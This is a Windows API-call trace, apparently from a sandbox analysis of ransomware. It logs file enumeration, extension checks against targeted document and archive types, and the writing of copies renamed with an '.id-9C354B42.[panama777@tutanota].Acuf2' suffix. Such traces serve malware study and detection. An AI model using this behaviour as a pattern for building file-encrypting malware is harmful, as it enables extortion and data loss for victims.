	[0040.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87
	[0040.999] lstrlenW (lpString=".jpg") returned 4
	[0040.999] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0040.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87
	[0040.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87
	[0040.999] lstrlenW (lpString=".doc") returned 4
	[0040.999] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0040.999] lstrlenW (lpString=".docx") returned 5
	[0040.999] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1
	[0040.999] lstrlenW (lpString=".pdf") returned 4
	[0040.999] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0040.999] lstrlenW (lpString=".xls") returned 4
	[0040.999] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0040.999] lstrlenW (lpString=".xlsx") returned 5
	[0040.999] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1
	[0040.999] lstrlenW (lpString=".ppt") returned 4
	[0040.999] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0040.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87
	[0040.999] lstrlenW (lpString=".zip") returned 4
	[0040.999] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0040.999] lstrlenW (lpString=".rar") returned 4
	[0040.999] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0040.999] lstrlenW (lpString=".bz2") returned 4
	[0040.999] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0040.999] lstrlenW (lpString=".7z") returned 3
	[0040.999] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0040.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87
	[0040.999] lstrlenW (lpString=".dbf") returned 4
	[0040.999] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0040.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87
	[0040.999] lstrlenW (lpString=".1cd") returned 4
	[0040.999] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87
	[0041.000] lstrlenW (lpString=".jpg") returned 4
	[0041.000] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.000] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0041.000] lstrlenW (lpString="base_altgr.xml") returned 14
	[0041.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0041.001] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3161) returned 1
	[0041.001] CloseHandle (hObject=0x190) returned 1
	[0041.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20
	[0041.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0041.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0041.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84
	[0041.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84
	[0041.001] lstrlenW (lpString=".doc") returned 4
	[0041.001] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.001] lstrlenW (lpString=".docx") returned 5
	[0041.001] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1
	[0041.001] lstrlenW (lpString=".pdf") returned 4
	[0041.001] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.001] lstrlenW (lpString=".xls") returned 4
	[0041.001] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.001] lstrlenW (lpString=".xlsx") returned 5
	[0041.001] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1
	[0041.001] lstrlenW (lpString=".ppt") returned 4
	[0041.001] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84
	[0041.001] lstrlenW (lpString=".zip") returned 4
	[0041.001] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.001] lstrlenW (lpString=".rar") returned 4
	[0041.001] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.001] lstrlenW (lpString=".bz2") returned 4
	[0041.001] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.002] lstrlenW (lpString=".7z") returned 3
	[0041.002] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84
	[0041.002] lstrlenW (lpString=".dbf") returned 4
	[0041.002] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84
	[0041.002] lstrlenW (lpString=".1cd") returned 4
	[0041.002] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84
	[0041.002] lstrlenW (lpString=".jpg") returned 4
	[0041.002] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84
	[0041.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84
	[0041.002] lstrlenW (lpString=".doc") returned 4
	[0041.002] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.002] lstrlenW (lpString=".docx") returned 5
	[0041.002] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1
	[0041.002] lstrlenW (lpString=".pdf") returned 4
	[0041.002] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.002] lstrlenW (lpString=".xls") returned 4
	[0041.002] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.002] lstrlenW (lpString=".xlsx") returned 5
	[0041.002] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1
	[0041.002] lstrlenW (lpString=".ppt") returned 4
	[0041.002] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84
	[0041.002] lstrlenW (lpString=".zip") returned 4
	[0041.002] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.002] lstrlenW (lpString=".rar") returned 4
	[0041.002] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.002] lstrlenW (lpString=".bz2") returned 4
	[0041.003] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.003] lstrlenW (lpString=".7z") returned 3
	[0041.003] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84
	[0041.003] lstrlenW (lpString=".dbf") returned 4
	[0041.003] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84
	[0041.003] lstrlenW (lpString=".1cd") returned 4
	[0041.003] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84
	[0041.003] lstrlenW (lpString=".jpg") returned 4
	[0041.003] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.003] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0041.003] lstrlenW (lpString="base_ca.xml") returned 11
	[0041.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0041.003] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3166) returned 1
	[0041.003] CloseHandle (hObject=0x190) returned 1
	[0041.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20
	[0041.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0041.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0041.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0041.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0041.004] lstrlenW (lpString=".doc") returned 4
	[0041.004] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.004] lstrlenW (lpString=".docx") returned 5
	[0041.004] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0041.004] lstrlenW (lpString=".pdf") returned 4
	[0041.004] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.004] lstrlenW (lpString=".xls") returned 4
	[0041.004] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.004] lstrlenW (lpString=".xlsx") returned 5
	[0041.004] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0041.004] lstrlenW (lpString=".ppt") returned 4
	[0041.004] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0041.004] lstrlenW (lpString=".zip") returned 4
	[0041.004] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.004] lstrlenW (lpString=".rar") returned 4
	[0041.004] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.004] lstrlenW (lpString=".bz2") returned 4
	[0041.004] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.004] lstrlenW (lpString=".7z") returned 3
	[0041.004] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0041.004] lstrlenW (lpString=".dbf") returned 4
	[0041.004] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0041.004] lstrlenW (lpString=".1cd") returned 4
	[0041.004] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0041.005] lstrlenW (lpString=".jpg") returned 4
	[0041.005] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0041.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0041.005] lstrlenW (lpString=".doc") returned 4
	[0041.005] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.005] lstrlenW (lpString=".docx") returned 5
	[0041.005] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0041.005] lstrlenW (lpString=".pdf") returned 4
	[0041.005] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.005] lstrlenW (lpString=".xls") returned 4
	[0041.005] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.005] lstrlenW (lpString=".xlsx") returned 5
	[0041.005] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0041.005] lstrlenW (lpString=".ppt") returned 4
	[0041.005] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0041.005] lstrlenW (lpString=".zip") returned 4
	[0041.005] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.005] lstrlenW (lpString=".rar") returned 4
	[0041.005] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.005] lstrlenW (lpString=".bz2") returned 4
	[0041.005] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.005] lstrlenW (lpString=".7z") returned 3
	[0041.005] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0041.005] lstrlenW (lpString=".dbf") returned 4
	[0041.005] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0041.005] lstrlenW (lpString=".1cd") returned 4
	[0041.005] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0041.006] lstrlenW (lpString=".jpg") returned 4
	[0041.006] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.006] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0041.006] lstrlenW (lpString="base_heb.xml") returned 12
	[0041.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0041.007] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=738) returned 1
	[0041.007] CloseHandle (hObject=0x19c) returned 1
	[0041.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20
	[0041.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0041.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0041.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0041.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0041.007] lstrlenW (lpString=".doc") returned 4
	[0041.007] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.007] lstrlenW (lpString=".docx") returned 5
	[0041.007] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1
	[0041.007] lstrlenW (lpString=".pdf") returned 4
	[0041.007] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.007] lstrlenW (lpString=".xls") returned 4
	[0041.007] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.007] lstrlenW (lpString=".xlsx") returned 5
	[0041.007] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1
	[0041.007] lstrlenW (lpString=".ppt") returned 4
	[0041.007] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0041.007] lstrlenW (lpString=".zip") returned 4
	[0041.007] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.007] lstrlenW (lpString=".rar") returned 4
	[0041.007] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.008] lstrlenW (lpString=".bz2") returned 4
	[0041.008] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.008] lstrlenW (lpString=".7z") returned 3
	[0041.008] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0041.008] lstrlenW (lpString=".dbf") returned 4
	[0041.008] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0041.008] lstrlenW (lpString=".1cd") returned 4
	[0041.008] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0041.008] lstrlenW (lpString=".jpg") returned 4
	[0041.008] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0041.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0041.008] lstrlenW (lpString=".doc") returned 4
	[0041.008] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.008] lstrlenW (lpString=".docx") returned 5
	[0041.008] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1
	[0041.008] lstrlenW (lpString=".pdf") returned 4
	[0041.008] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.008] lstrlenW (lpString=".xls") returned 4
	[0041.008] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.008] lstrlenW (lpString=".xlsx") returned 5
	[0041.008] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1
	[0041.008] lstrlenW (lpString=".ppt") returned 4
	[0041.008] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0041.008] lstrlenW (lpString=".zip") returned 4
	[0041.008] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.008] lstrlenW (lpString=".rar") returned 4
	[0041.008] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.008] lstrlenW (lpString=".bz2") returned 4
	[0041.009] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.009] lstrlenW (lpString=".7z") returned 3
	[0041.009] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0041.009] lstrlenW (lpString=".dbf") returned 4
	[0041.009] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0041.009] lstrlenW (lpString=".1cd") returned 4
	[0041.009] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0041.009] lstrlenW (lpString=".jpg") returned 4
	[0041.009] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.009] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0041.009] lstrlenW (lpString="base_jpn.xml") returned 12
	[0041.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0041.009] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=804) returned 1
	[0041.009] CloseHandle (hObject=0x19c) returned 1
	[0041.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20
	[0041.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0041.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0041.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82
	[0041.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82
	[0041.010] lstrlenW (lpString=".doc") returned 4
	[0041.010] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.010] lstrlenW (lpString=".docx") returned 5
	[0041.010] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0041.010] lstrlenW (lpString=".pdf") returned 4
	[0041.010] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.010] lstrlenW (lpString=".xls") returned 4
	[0041.010] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.010] lstrlenW (lpString=".xlsx") returned 5
	[0041.010] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0041.010] lstrlenW (lpString=".ppt") returned 4
	[0041.010] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82
	[0041.010] lstrlenW (lpString=".zip") returned 4
	[0041.010] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.010] lstrlenW (lpString=".rar") returned 4
	[0041.010] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.010] lstrlenW (lpString=".bz2") returned 4
	[0041.010] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.010] lstrlenW (lpString=".7z") returned 3
	[0041.010] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82
	[0041.010] lstrlenW (lpString=".dbf") returned 4
	[0041.010] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.291] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.291] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec
	[0044.291] GetLastError () returned 0x0
	[0044.291] ReadFile (in: hFile=0x1e8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x61d, lpOverlapped=0x0) returned 1
	[0044.293] WriteFile (in: hFile=0x1ec, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x620, lpOverlapped=0x0) returned 1
